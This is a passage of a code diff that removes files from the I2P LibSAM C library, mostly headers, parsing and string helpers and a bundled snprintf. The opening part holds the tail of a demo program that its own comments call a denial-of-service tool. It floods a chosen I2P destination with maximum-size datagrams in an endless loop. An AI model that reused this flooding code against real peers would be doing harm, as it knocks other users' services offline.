fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
|
||||
sam_session_free(&session);
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
* Check whether they've supplied a hostname or a base 64 destination
|
||||
*
|
||||
* Note that this is a hack. Jrandom says that once certificates are added,
|
||||
* the length could be different depending on the certificate's size.
|
||||
*/
|
||||
if (strlen(argv[1]) == SAM_PUBKEY_LEN - 1) {
|
||||
memcpy(dest, argv[1], SAM_PUBKEY_LEN);
|
||||
gotdest = true;
|
||||
} else {
|
||||
/*
|
||||
* If they supplied a name, we have to do a lookup on it. This is
|
||||
* equivalent to doing a DNS lookup on the normal internet. When the
|
||||
* lookup completes, we send them some data.
|
||||
*/
|
||||
sam_naming_lookup(session, argv[1]);
|
||||
}
|
||||
|
||||
while (!gotdest) /* just wait for the naming lookup to complete */
|
||||
sam_read_buffer(session);
|
||||
|
||||
char data[SAM_DGRAM_PAYLOAD_MAX];
|
||||
memset(data, '$', SAM_DGRAM_PAYLOAD_MAX); /* We're sending them MONEY! */
|
||||
size_t sentbytes = 0;
|
||||
while (true) {
|
||||
/*
|
||||
* Send them a flood of the largest sized datagrams possible in an
|
||||
* infinite loop!
|
||||
*/
|
||||
rc = sam_dgram_send(session, dest, data, SAM_DGRAM_PAYLOAD_MAX);
|
||||
if (rc != SAM_OK) {
|
||||
fprintf(stderr, "sam_dgram_send() failed: %s\n", sam_strerror(rc));
|
||||
sam_session_free(&session);
|
||||
return 1;
|
||||
}
|
||||
sentbytes += SAM_DGRAM_PAYLOAD_MAX;
|
||||
printf("Bombs away! (%u kbytes sent so far)\n", sentbytes / 1024);
|
||||
/*
|
||||
* sam_read_buffer() just checks for incoming activity from the SAM
|
||||
* session, and invokes the appropriate callbacks. We aren't really
|
||||
* expecting any incoming activity here, but it is a good idea to check
|
||||
* anyway.
|
||||
*/
|
||||
sam_read_buffer(session);
|
||||
}
|
||||
|
||||
sam_session_free(&session); /* de-allocates memory used by the SAM session*/
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* When we receive some data from another peer, just ignore it. Denial of
|
||||
* service programs don't need input ;)
|
||||
*/
|
||||
static void dgramback(sam_sess_t *session, sam_pubkey_t dest, void *data,
|
||||
size_t size)
|
||||
{
|
||||
puts("Received a datagram (ignored)");
|
||||
free(data);
|
||||
}
|
||||
|
||||
/*
|
||||
* This is called whenever the SAM connection fails (like if the I2P router is
|
||||
* shut down)
|
||||
*/
|
||||
static void diedback(sam_sess_t *session)
|
||||
{
|
||||
fprintf(stderr, "Lost SAM connection!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
* The logging callback prints any logging messages from LibSAM (typically
|
||||
* errors)
|
||||
*/
|
||||
static void logback(char *s)
|
||||
{
|
||||
fprintf(stderr, "LibSAM: %s\n", s);
|
||||
}
|
||||
|
||||
/*
|
||||
* This is really hackish, but we know that we are only doing one lookup, so
|
||||
* what the hell
|
||||
*/
|
||||
static void namingback(sam_sess_t *session, char *name, sam_pubkey_t pubkey,
|
||||
samerr_t result)
|
||||
{
|
||||
if (result != SAM_OK) {
|
||||
fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result));
|
||||
exit(1);
|
||||
}
|
||||
memcpy(dest, pubkey, SAM_PUBKEY_LEN);
|
||||
gotdest = true;
|
||||
}
|
@ -1,24 +0,0 @@
|
||||
#ifndef _PARSE_HEADER_FEEP
|
||||
#define _PARSE_HEADER_FEEP
|
||||
|
||||
#include "tinystring.h"
|
||||
|
||||
typedef struct arg_s {
|
||||
string_t name;
|
||||
string_t value;
|
||||
// int pos;
|
||||
} arg_t;
|
||||
|
||||
typedef struct {
|
||||
arg_t* arg;
|
||||
int num;
|
||||
} args_t;
|
||||
|
||||
args_t arg_parse(const char*);
|
||||
void arg_done(args_t);
|
||||
arg_t* arg_get(args_t,int);
|
||||
arg_t* arg_find(args_t,string_t);
|
||||
|
||||
#define AG(a,b) arg_get(a,b)
|
||||
|
||||
#endif /* _PARSE_HEADER_FEEP */
|
@ -1,145 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of the author nor the names of any contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
|
||||
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef LIBSAM_PLATFORM_H
|
||||
#define LIBSAM_PLATFORM_H
|
||||
|
||||
/*
|
||||
* Operating system
|
||||
*/
|
||||
#define FREEBSD 0 // FreeBSD
|
||||
#define CYGWIN 1 // Cygwin
|
||||
#define LINUX 2 // Linux
|
||||
#define MINGW 3 // Windows native (Mingw)
|
||||
#define MSVC 4 // Windows native (Visual C++ 2003)
|
||||
|
||||
#if OS == CYGWIN
|
||||
#define INET_ADDRSTRLEN 16
|
||||
#define NO_GETHOSTBYNAME2
|
||||
#define NO_INET_NTOP
|
||||
#define NO_INET_PTON
|
||||
#define NO_SNPRINTF
|
||||
#define NO_STRL
|
||||
#define NO_VSNPRINTF
|
||||
#define NO_Z_FORMAT
|
||||
#endif
|
||||
|
||||
#if OS == LINUX
|
||||
#define NO_GETHOSTBYNAME2
|
||||
#define NO_STRL
|
||||
#define NO_Z_FORMAT
|
||||
#endif
|
||||
|
||||
#if OS == MINGW
|
||||
#define INET_ADDRSTRLEN 16
|
||||
#define NO_GETHOSTBYNAME2
|
||||
#define NO_INET_ATON // implies NO_INET_PTON
|
||||
#define NO_INET_NTOP
|
||||
#define NO_SSIZE_T
|
||||
#define NO_STRL
|
||||
#define NO_Z_FORMAT
|
||||
#define WINSOCK
|
||||
#endif
|
||||
|
||||
#if OS == MSVC // FIXME: doesn't work
|
||||
#define NO_STDBOOL_H
|
||||
#define NO_SSIZE_T
|
||||
#define NO_STRL
|
||||
#define WINSOCK
|
||||
#endif
|
||||
|
||||
/*
|
||||
* System includes
|
||||
*/
|
||||
#ifdef WINSOCK
|
||||
#include <winsock.h>
|
||||
#else
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#endif
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#ifndef WINSOCK
|
||||
#include <netdb.h>
|
||||
#endif
|
||||
#if defined NO_SNPRINTF || defined NO_VSNPRINTF
|
||||
#include "snprintf.h"
|
||||
#endif
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#ifdef NO_STRL
|
||||
#include "strl.h"
|
||||
#endif
|
||||
#ifdef WINSOCK
|
||||
#include <windows.h>
|
||||
#else
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Platform-dependent variable types
|
||||
*/
|
||||
#ifdef NO_SSIZE_T
|
||||
typedef signed long ssize_t;
|
||||
#endif
|
||||
|
||||
/*
|
||||
* I'm too lazy to type "unsigned"
|
||||
*/
|
||||
typedef unsigned char byte;
|
||||
typedef unsigned int uint;
|
||||
typedef unsigned short ushort;
|
||||
|
||||
/*
|
||||
* Prints out the file name, line number, and function name before log message
|
||||
*/
|
||||
#define SAMLOG(format, ...) sam_log("%s:%d:%s: " \
|
||||
format, __FILE__, __LINE__, __func__, __VA_ARGS__)
|
||||
|
||||
/*
|
||||
* This is the same as above, except that it doesn't accept any va args
|
||||
*/
|
||||
#define SAMLOGS(str) sam_log("%s:%d:%s: " str, __FILE__, __LINE__, __func__)
|
||||
|
||||
/*
|
||||
* Set this to '1' if you want the raw SAM commands to be printed on stdout
|
||||
* (useful for debugging). Otherwise, set it to '0'.
|
||||
*/
|
||||
#define SAM_WIRETAP 0
|
||||
#if SAM_WIRETAP
|
||||
#include <ctype.h>
|
||||
#endif
|
||||
|
||||
#endif /* LIBSAM_PLATFORM_H */
|
@ -1,167 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of the author nor the names of any contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
|
||||
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef LIBSAM_SAM_H
|
||||
#define LIBSAM_SAM_H
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#ifdef NO_STDBOOL_H
|
||||
typedef int bool;
|
||||
#define true 0
|
||||
#define false 1
|
||||
#else
|
||||
#include <stdbool.h>
|
||||
#endif
|
||||
#include <stddef.h> // size_t
|
||||
|
||||
|
||||
/*
|
||||
* Lengths
|
||||
*/
|
||||
|
||||
/* The maximum length a SAM command can be */
|
||||
#define SAM_CMD_LEN 128
|
||||
/* The maximum size of a single datagram packet */
|
||||
#define SAM_DGRAM_PAYLOAD_MAX (31 * 1024)
|
||||
/* The longest log message */
|
||||
#define SAM_LOGMSG_LEN 256
|
||||
/* The longest `name' arg for the naming lookup callback */
|
||||
#define SAM_NAME_LEN 256
|
||||
/* The maximum size of a single stream packet */
|
||||
#define SAM_STREAM_PAYLOAD_MAX (32 * 1024)
|
||||
/* The length of a base 64 public key - it's actually 516, but +1 for '\0' */
|
||||
#define SAM_PUBKEY_LEN 517
|
||||
/* The maximum length of a SAM command with a public key */
|
||||
#define SAM_PKCMD_LEN (SAM_PUBKEY_LEN + SAM_CMD_LEN)
|
||||
/* The maximum size of a single raw packet */
|
||||
#define SAM_RAW_PAYLOAD_MAX (32 * 1024)
|
||||
/* The maximum length a SAM non-data reply can be */
|
||||
#define SAM_REPLY_LEN 1024
|
||||
|
||||
|
||||
/*
|
||||
* Some LibSAM variable types
|
||||
*/
|
||||
|
||||
typedef enum {SAM_STREAM, SAM_DGRAM, SAM_RAW} sam_conn_t; /* SAM connection */
|
||||
|
||||
typedef char sam_pubkey_t[SAM_PUBKEY_LEN]; /* base 64 public key */
|
||||
|
||||
typedef struct {
|
||||
void *data;
|
||||
size_t size;
|
||||
} sam_sendq_t; /* sending queue to encourage large stream packet sizes */
|
||||
|
||||
typedef long sam_sid_t; /* stream id number */
|
||||
|
||||
typedef struct {
|
||||
int sock; /* the socket used for communications with SAM */
|
||||
bool connected; /* whether the socket is connected */
|
||||
sam_sid_t prev_id; /* the last stream id number we used */
|
||||
void *child; /* whatever you want it to be */
|
||||
} sam_sess_t; /* a SAM session */
|
||||
|
||||
typedef enum { /* see sam_strerror() for detailed descriptions of these */
|
||||
/* no error code - not used by me (you can use it in your program) */
|
||||
SAM_NULL = 0,
|
||||
/* error codes from SAM itself (SAM_OK is not an actual "error") */
|
||||
SAM_OK, SAM_CANT_REACH_PEER, SAM_DUPLICATED_DEST, SAM_I2P_ERROR,
|
||||
SAM_INVALID_KEY, SAM_KEY_NOT_FOUND, SAM_PEER_NOT_FOUND, SAM_TIMEOUT,
|
||||
SAM_UNKNOWN,
|
||||
/* error codes from LibSAM */
|
||||
SAM_BAD_STYLE, SAM_BAD_VERSION, SAM_CALLBACKS_UNSET, SAM_SOCKET_ERROR,
|
||||
SAM_TOO_BIG
|
||||
} samerr_t;
|
||||
|
||||
|
||||
/*
|
||||
* Public functions
|
||||
*/
|
||||
|
||||
/* SAM controls - sessions */
|
||||
sam_sess_t *sam_session_init(sam_sess_t *session);
|
||||
void sam_session_free(sam_sess_t **session);
|
||||
/* SAM controls - connection */
|
||||
bool sam_close(sam_sess_t *session);
|
||||
samerr_t sam_connect(sam_sess_t *session, const char *samhost,
|
||||
unsigned short samport, const char *destname, sam_conn_t style,
|
||||
unsigned int tunneldepth);
|
||||
/* SAM controls - utilities */
|
||||
void sam_naming_lookup(sam_sess_t *session, const char *name);
|
||||
bool sam_read_buffer(sam_sess_t *session);
|
||||
const char *sam_strerror(samerr_t code);
|
||||
/* SAM controls - callbacks */
|
||||
void (*sam_diedback)(sam_sess_t *session);
|
||||
void (*sam_logback)(const char *str);
|
||||
void (*sam_namingback)(sam_sess_t *session, const char *name,
|
||||
sam_pubkey_t pubkey, samerr_t result, const char* message);
|
||||
|
||||
/* Stream commands */
|
||||
void sam_stream_close(sam_sess_t *session, sam_sid_t stream_id);
|
||||
sam_sid_t sam_stream_connect(sam_sess_t *session, const sam_pubkey_t dest);
|
||||
samerr_t sam_stream_send(sam_sess_t *session, sam_sid_t stream_id,
|
||||
const void *data, size_t size);
|
||||
/* Stream commands - callbacks */
|
||||
void (*sam_closeback)(sam_sess_t *session, sam_sid_t stream_id,
|
||||
samerr_t reason, const char* message);
|
||||
|
||||
void (*sam_connectback)(sam_sess_t *session, sam_sid_t stream_id,
|
||||
sam_pubkey_t dest);
|
||||
void (*sam_databack)(sam_sess_t *session, sam_sid_t stream_id,
|
||||
void *data, size_t size);
|
||||
void (*sam_statusback)(sam_sess_t *session, sam_sid_t stream_id,
|
||||
samerr_t result, const char* message);
|
||||
|
||||
/* Stream send queue (experimental) */
|
||||
void sam_sendq_add(sam_sess_t *session, sam_sid_t stream_id,
|
||||
sam_sendq_t **sendq, const void *data, size_t dsize);
|
||||
void sam_sendq_flush(sam_sess_t *session, sam_sid_t stream_id,
|
||||
sam_sendq_t **sendq);
|
||||
|
||||
/* Datagram commands */
|
||||
samerr_t sam_dgram_send(sam_sess_t *session, const sam_pubkey_t dest,
|
||||
const void *data, size_t size);
|
||||
/* Datagram commands - callbacks */
|
||||
void (*sam_dgramback)(sam_sess_t *session, sam_pubkey_t dest, void *data,
|
||||
size_t size);
|
||||
|
||||
/* Raw commands */
|
||||
samerr_t sam_raw_send(sam_sess_t *session, const sam_pubkey_t dest,
|
||||
const void *data, size_t size);
|
||||
/* Raw commands - callbacks */
|
||||
void (*sam_rawback)(sam_sess_t *session, void *data, size_t size);
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
#endif /* LIBSAM_SAM_H */
|
@ -1,49 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of the author nor the names of any contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
|
||||
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Note: The snprintf.c file retains its original license (at the top of
|
||||
* snprintf.c)
|
||||
*/
|
||||
|
||||
#ifndef LIBSAM_SNPRINTF_H
|
||||
#define LIBSAM_SNPRINTF_H
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <stdarg.h> /* for va_list */
|
||||
int snprintf (char *str, size_t count, const char *fmt, ...);
|
||||
int vsnprintf (char *str, size_t count, const char *fmt, va_list arg);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
#endif /* LIBSAM_SNPRINTF_H */
|
@ -1,47 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of the author nor the names of any contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
|
||||
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Note: The strl.c file retains its original license (at the top of strl.c)
|
||||
*/
|
||||
|
||||
#ifndef LIBSAM_STRL_H
|
||||
#define LIBSAM_STRL_H
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
extern size_t strlcat(char *dst, const char *src, size_t siz);
|
||||
extern size_t strlcpy(char *dst, const char *src, size_t siz);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
#endif /* LIBSAM_STRL_H */
|
@ -1,48 +0,0 @@
|
||||
#ifndef TINYSTRING_HEADER
|
||||
#define TINYSTRING_HEADER
|
||||
|
||||
#include <sys/types.h>
|
||||
|
||||
#ifndef bool
|
||||
#define bool short int
|
||||
#endif
|
||||
|
||||
struct string_s;
|
||||
#define string_t struct string_s*
|
||||
//Mysteeeerious *waggles mysteriously*
|
||||
|
||||
/*{
|
||||
char* data;
|
||||
long int size;
|
||||
} *string_t;
|
||||
*/
|
||||
|
||||
string_t string_create(const char*);
|
||||
string_t string_ncreate(const char* cstr,long int length);
|
||||
|
||||
string_t string_wrap(const char*);
|
||||
//Does not malloc, do NOT pass to string_free
|
||||
|
||||
string_t string_fmt(const char* fmt, ...);
|
||||
string_t string_cat(string_t,string_t);
|
||||
|
||||
/* Source Dest */
|
||||
void string_copy(string_t,string_t);
|
||||
void string_copy_raw(string_t,void*,size_t);
|
||||
|
||||
const char* string_data(string_t);
|
||||
long int string_size(string_t);
|
||||
|
||||
void string_free(string_t);
|
||||
|
||||
bool string_equal(string_t,string_t);
|
||||
bool string_equali(string_t,string_t);
|
||||
int string_cmp(string_t,string_t);
|
||||
int string_cmpi(string_t,string_t);
|
||||
|
||||
#define _sw(a) string_wrap(a)
|
||||
#define _scr(a,b,c) string_copy_raw(a,b,c)
|
||||
|
||||
#define string_is(a,b) (! strncmp(string_data(a),(b),string_size(a)))
|
||||
|
||||
#endif /* TINYSTRING_HEADER */
|
@ -1,78 +0,0 @@
|
||||
#include "parse.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <ctype.h>
|
||||
#include <malloc.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <string.h>
|
||||
|
||||
args_t arg_parse(const char* line_raw) {
|
||||
args_t self;
|
||||
int numargs = 0;
|
||||
const char *end, *last;
|
||||
/* First pass to count how many args... */
|
||||
end = line_raw;
|
||||
while(*end && isspace(*end)) ++end;
|
||||
//Skip initial space...
|
||||
for(;;) {
|
||||
while(*end && !isspace(*end)) ++end;
|
||||
//Go to end of argument
|
||||
++numargs;
|
||||
while(*end && isspace(*end)) ++end;
|
||||
//Go to end of space after argument
|
||||
if(!*end) break;
|
||||
}
|
||||
self.num = numargs; // One more # args than spaces.
|
||||
self.arg = malloc(sizeof(arg_t)*numargs);
|
||||
|
||||
/* Second pass to assign args. (Lemee alone, is more efficient than a linked list!) */
|
||||
last = line_raw;
|
||||
numargs = 0; //Now numargs is which current arg.
|
||||
end = line_raw;
|
||||
while(*end && isspace(*end)) ++end;
|
||||
//Skip initial space...
|
||||
for(;;) {
|
||||
arg_t* nextarg = self.arg + numargs;;
|
||||
const char* isbinary;
|
||||
while(*end && !isspace(*end)) ++end;
|
||||
//Go to end of argument
|
||||
isbinary = strchr(last,'='); //Is there a value?
|
||||
|
||||
//Make sure not to pass end in our search for =
|
||||
if(isbinary && (isbinary < end)) {
|
||||
nextarg->name = string_ncreate(last,isbinary-last);
|
||||
nextarg->value = string_ncreate(isbinary+1,end-isbinary-1);
|
||||
} else {
|
||||
nextarg->name = string_ncreate(last,end-last);
|
||||
nextarg->value = string_create(NULL);
|
||||
}
|
||||
++numargs;
|
||||
while(*end && isspace(*end)) ++end;
|
||||
//Go to end of space after argument
|
||||
if(!*end) break;
|
||||
last = end;
|
||||
}
|
||||
return self;
|
||||
}
|
||||
|
||||
void arg_done(args_t self) {
|
||||
free(self.arg);
|
||||
self.arg = NULL;
|
||||
self.num = 0;
|
||||
}
|
||||
|
||||
arg_t* arg_get(args_t self, int index) {
|
||||
if(index >= self.num) return NULL;
|
||||
return self.arg + index;
|
||||
}
|
||||
|
||||
arg_t* arg_find(args_t self,string_t testname) {
|
||||
int index;
|
||||
for(index=0;index<self.num;++index) {
|
||||
if(string_equali(self.arg[index].name,testname)) {
|
||||
return self.arg + index;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
1377
apps/sam/c/src/sam.c
1377
apps/sam/c/src/sam.c
File diff suppressed because it is too large
Load Diff
@ -1,851 +0,0 @@
|
||||
/*
|
||||
* Copyright Patrick Powell 1995
|
||||
* This code is based on code written by Patrick Powell (papowell@astart.com)
|
||||
* It may be used for any purpose as long as this notice remains intact
|
||||
* on all source code distributions
|
||||
*/
|
||||
|
||||
/**************************************************************
|
||||
* Original:
|
||||
* Patrick Powell Tue Apr 11 09:48:21 PDT 1995
|
||||
* A bombproof version of doprnt (dopr) included.
|
||||
* Sigh. This sort of thing is always nasty do deal with. Note that
|
||||
* the version here does not include floating point...
|
||||
*
|
||||
* snprintf() is used instead of sprintf() as it does limit checks
|
||||
* for string length. This covers a nasty loophole.
|
||||
*
|
||||
* The other functions are there to prevent NULL pointers from
|
||||
* causing nast effects.
|
||||
*
|
||||
* More Recently:
|
||||
* Brandon Long <blong@fiction.net> 9/15/96 for mutt 0.43
|
||||
* This was ugly. It is still ugly. I opted out of floating point
|
||||
* numbers, but the formatter understands just about everything
|
||||
* from the normal C string format, at least as far as I can tell from
|
||||
* the Solaris 2.5 printf(3S) man page.
|
||||
*
|
||||
* Brandon Long <blong@fiction.net> 10/22/97 for mutt 0.87.1
|
||||
* Ok, added some minimal floating point support, which means this
|
||||
* probably requires libm on most operating systems. Don't yet
|
||||
* support the exponent (e,E) and sigfig (g,G). Also, fmtint()
|
||||
* was pretty badly broken, it just wasn't being exercised in ways
|
||||
* which showed it, so that's been fixed. Also, formated the code
|
||||
* to mutt conventions, and removed dead code left over from the
|
||||
* original. Also, there is now a builtin-test, just compile with:
|
||||
* gcc -DTEST_SNPRINTF -o snprintf snprintf.c -lm
|
||||
* and run snprintf for results.
|
||||
*
|
||||
* Thomas Roessler <roessler@guug.de> 01/27/98 for mutt 0.89i
|
||||
* The PGP code was using unsigned hexadecimal formats.
|
||||
* Unfortunately, unsigned formats simply didn't work.
|
||||
*
|
||||
* Michael Elkins <me@cs.hmc.edu> 03/05/98 for mutt 0.90.8
|
||||
* The original code assumed that both snprintf() and vsnprintf() were
|
||||
* missing. Some systems only have snprintf() but not vsnprintf(), so
|
||||
* the code is now broken down under HAVE_SNPRINTF and HAVE_VSNPRINTF.
|
||||
*
|
||||
* Andrew Tridgell (tridge@samba.org) Oct 1998
|
||||
* fixed handling of %.0f
|
||||
* added test for HAVE_LONG_DOUBLE
|
||||
*
|
||||
* Russ Allbery <rra@stanford.edu> 2000-08-26
|
||||
* fixed return value to comply with C99
|
||||
* fixed handling of snprintf(NULL, ...)
|
||||
*
|
||||
* Hrvoje Niksic <hniksic@arsdigita.com> 2000-11-04
|
||||
* include <stdio.h> for NULL.
|
||||
* added support for long long.
|
||||
* don't declare argument types to (v)snprintf if stdarg is not used.
|
||||
*
|
||||
**************************************************************/
|
||||
|
||||
#include <string.h>
|
||||
#include <ctype.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
#ifndef NULL
|
||||
# define NULL 0
|
||||
#endif
|
||||
|
||||
/* varargs declarations: */
|
||||
|
||||
#include <stdarg.h>
|
||||
#define HAVE_STDARGS /* let's hope that works everywhere (mj) */
|
||||
#define VA_LOCAL_DECL va_list ap
|
||||
#define VA_START(f) va_start(ap, f)
|
||||
#define VA_SHIFT(v,t) ; /* no-op for ANSI */
|
||||
#define VA_END va_end(ap)
|
||||
|
||||
#ifdef HAVE_LONG_DOUBLE
|
||||
#define LDOUBLE long double
|
||||
#else
|
||||
#define LDOUBLE double
|
||||
#endif
|
||||
|
||||
#ifdef HAVE_LONG_LONG
|
||||
# define LLONG long long
|
||||
#else
|
||||
# define LLONG long
|
||||
#endif
|
||||
|
||||
int snprintf (char *str, size_t count, const char *fmt, ...);
|
||||
int vsnprintf (char *str, size_t count, const char *fmt, va_list arg);
|
||||
|
||||
static int dopr (char *buffer, size_t maxlen, const char *format,
